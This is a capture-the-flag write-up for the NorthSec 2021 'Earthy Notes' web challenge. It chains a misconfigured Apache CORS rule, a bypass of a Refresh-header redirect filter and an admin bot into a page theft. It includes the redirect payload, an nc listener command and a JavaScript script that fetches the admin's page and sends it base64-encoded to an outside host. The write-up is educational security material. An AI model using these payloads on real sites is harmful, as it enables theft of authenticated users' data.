NSEC21 Earthy Notes - Mon, May 24, 2021 - Klammydia
It's not always XSS... | Web Apache HTML | Nsec21
This NSEC21 challenge was authored by @Nic-Lovin so we were expecting this to be much harder and much XSSier.
TL;DR: Bad Apache config, HTML Injection for a redirect, CORS Abuse, Steal data.
An apache config
It was quite unusual to be given the configuration file along with the source code so we explored that first. Here is the only interesting part:
<Directory /var/www/html>
SetEnvIf Request_URI "^.*(bmp|cur|gif|ico|jpe?g|a?png|svgz?|webp|heic|heif|avif|json)" SIGN
Header set Access-Control-Allow-Origin "*" env=SIGN
Header set Access-Control-Allow-Headers "*" env=SIGN
</Directory>
What that means for us is that if the requested URI contains one of those extensions, it will be added the two headers. We can test that out with this:
curl http://10.0.30.10/index.php/jsonkjhashdfkhas -I
HTTP/1.1 200 OK
Date: Thu, 27 May 2021 22:14:43 GMT
Server: Apache/2.4.46 (Ubuntu)
Set-Cookie: PHPSESSID=mv9m3vjbhurimtu3m15nhe9gqd; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: *
Content-Type: text/html; charset=UTF-8
The application
Our next focus was to have a look at the application itself. Because it is quite long, the full files will be appended to the end of the writeup if you need them. Sideni noticed that we had potential control of the URL in the Refresh
header. For that to work, we had to find a way to get around the simple url filter below…
function blink($msg) {
$redir = '/';
if (isset($_GET['redir'])) {
$redir = filterUrl($_GET['redir']);
}
echo '<link rel="stylesheet" href="style.css"><center><blink><h1>' .$msg. '</h1></blink></center>';
header('Refresh: 3; URL=' . $redir);
die();
}
function filterUrl($url) {
$patterns = array('/http:/', '/https:/', '/\/\//', '/www/');
$arr = array('http:', 'https:', '\/\/', 'www');
foreach($arr as &$a) {
if (stripos($url,$a) !== false) {
$url2 = preg_replace($patterns, '', strtolower($url));
return filterUrl($url2);
}
}
return $url;
}
Fob went to work and before we knew it he sent us this payload: /?reportUrl=http://earthy-notes.ctf/?note=x%26reportUrl=http://earthy-notes.ctf%26redir=//shell.ctf:1234
Setting up a listener (nc -l -p 1234 -v -6
) on shell.ctf and sending this request resulted in the admin bot poking our listener.
curl "http://earthy-notes.ctf/?reportUrl=http://earthy-notes.ctf/?note=x%26reportUrl=http://earthy-notes.ctf%26redir=//shell.ctf:1234"
GET / HTTP/1.1
Host: shell.ctf:1234
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/88.0.4298.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://earthy-notes.ctf/?note=x&reportUrl=http://earthy-notes.ctf&redir=//shell.ctf:1234
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Reassess
Pretty much all that is left now is some basic hacker glue and weaponization. Let’s recap what we have and what is still left to craft:
We have:
- A way to force CORS headers onto responses to requests of our choice
- A way to get to admin to load some resources we control
We still need:
- A way to make the admin load some pages tacking on the CORS headers
- A way to read whatever comes back.
From then on, it was time for HTML, Javascript and beer. The latter to forget both former.
Finish him
The idea was to write some HTML/Javascript to fetch
the admin’s index page and exfiltrate the content of the fetched resource. Now that we could make the server add the CORS headers to pretty much any response, we could make the admin load its index page with the CORS headers tacked on and read out the response from our own server. So lets craft a very elegant and modern ES21 payload to fetch the index and grab its content.
<html>
<body>
<script>
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
exfil(this.responseText);
}
};
xhttp.open("GET", "http://earthy-notes.ctf/index.php/json", true);
xhttp.send();
exfil = function (data) {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
}
};
xhttp.open("GET", "http://shell.ctf:1234/?a=" + btoa(data), true);
xhttp.send();
};
</script>
</body>
</html>
Host this up on shell.ctf:1234
with an HTTP Server. Make the admin hit it with that previous request Fob cooked up:
curl "http://earthy-notes.ctf/?reportUrl=http://earthy-notes.ctf/?note=x%26reportUrl=http://earthy-notes.ctf%26redir=//shell.ctf:1234"
And wait for a second hit on /?a=YOURBEAUTIFUL64ENCODEDDATA
. Decoded that and look for your flag. Now that the CTF is over, it is too late to get you all some nice screenshots with the original flag and such so you will have to trust us on the basis that we are hosting this writeup with a DOS theme.
Cheers
DOS is trust. DOS is love.
Acknowledgements
Thanks to Privat for the guidance while we worked on this one. He is always very good at telling us whenever we are being stupid.